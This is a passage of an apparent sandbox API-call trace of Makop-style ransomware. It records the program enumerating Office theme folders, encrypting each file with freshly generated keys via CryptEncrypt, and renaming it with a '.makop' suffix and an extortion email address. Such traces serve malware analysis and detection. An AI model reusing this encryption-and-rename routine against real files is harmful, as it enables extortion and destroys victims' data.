ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0100.466] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF") returned 77 [0100.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.468] GetProcessHeap () returned 0x48a0000 [0100.468] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.468] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.468] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.468] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0100.472] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.472] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.472] GetProcessHeap () returned 0x48a0000 [0100.472] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.472] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.473] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.473] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.473] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.473] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.473] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.474] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.474] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.474] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.474] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.474] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.474] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x271, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x271, lpOverlapped=0x0) returned 1 [0100.474] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x280, dwBufLen=0x280 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x280) returned 1 [0100.474] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.474] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x280, lpOverlapped=0x0) returned 1 [0100.475] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.475] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.475] SetEndOfFile (hFile=0x138) returned 1 [0100.482] GetProcessHeap () returned 0x48a0000 [0100.482] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.482] GetProcessHeap () returned 0x48a0000 [0100.482] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.482] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0100.482] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.483] CloseHandle (hObject=0x138) returned 1 [0100.484] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0100.484] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0100.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.486] GetProcessHeap () returned 0x48a0000 [0100.486] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.486] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.486] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.486] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0100.490] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.490] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.490] GetProcessHeap () returned 0x48a0000 [0100.490] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.491] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.491] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.491] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.491] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.491] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.491] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.491] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.492] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.492] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.493] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.493] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.493] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x82c7, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x82c7, lpOverlapped=0x0) returned 1 [0100.497] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x82d0, dwBufLen=0x82d0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x82d0) returned 1 [0100.497] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.497] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x82d0, lpOverlapped=0x0) returned 1 [0100.497] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.498] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x83a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.498] SetEndOfFile (hFile=0x138) returned 1 [0100.504] GetProcessHeap () returned 0x48a0000 [0100.504] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.504] GetProcessHeap () returned 0x48a0000 [0100.505] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.505] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0100.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.506] CloseHandle (hObject=0x138) returned 1 [0100.506] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0100.507] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0100.507] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0100.507] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO") returned 62 [0100.507] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*") returned 66 [0100.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0100.508] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.509] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0100.509] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0100.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.510] GetProcessHeap () returned 0x48a0000 [0100.511] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.511] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.511] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.511] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x5, lpOverlapped=0x0) returned 1 [0100.515] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.515] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.515] GetProcessHeap () returned 0x48a0000 [0100.515] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.515] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.515] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.515] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.516] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.516] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.516] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.516] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.516] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.516] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.516] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.517] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.517] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x68b, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x68b, lpOverlapped=0x0) returned 1 [0100.517] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x690, dwBufLen=0x690 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x690) returned 1 [0100.517] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.517] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x690, lpOverlapped=0x0) returned 1 [0100.517] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.517] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.517] SetEndOfFile (hFile=0x138) returned 1 [0100.525] GetProcessHeap () returned 0x48a0000 [0100.525] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.525] GetProcessHeap () returned 0x48a0000 [0100.525] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.525] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0100.525] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.526] CloseHandle (hObject=0x138) returned 1 [0100.527] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0100.527] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM") returned 73 [0100.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.529] GetProcessHeap () returned 0x48a0000 [0100.529] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.529] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.529] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.529] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x3, lpOverlapped=0x0) returned 1 [0100.533] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.533] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.533] GetProcessHeap () returned 0x48a0000 [0100.533] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0100.533] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0100.533] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.533] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0100.534] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.534] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.534] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.534] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.535] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, 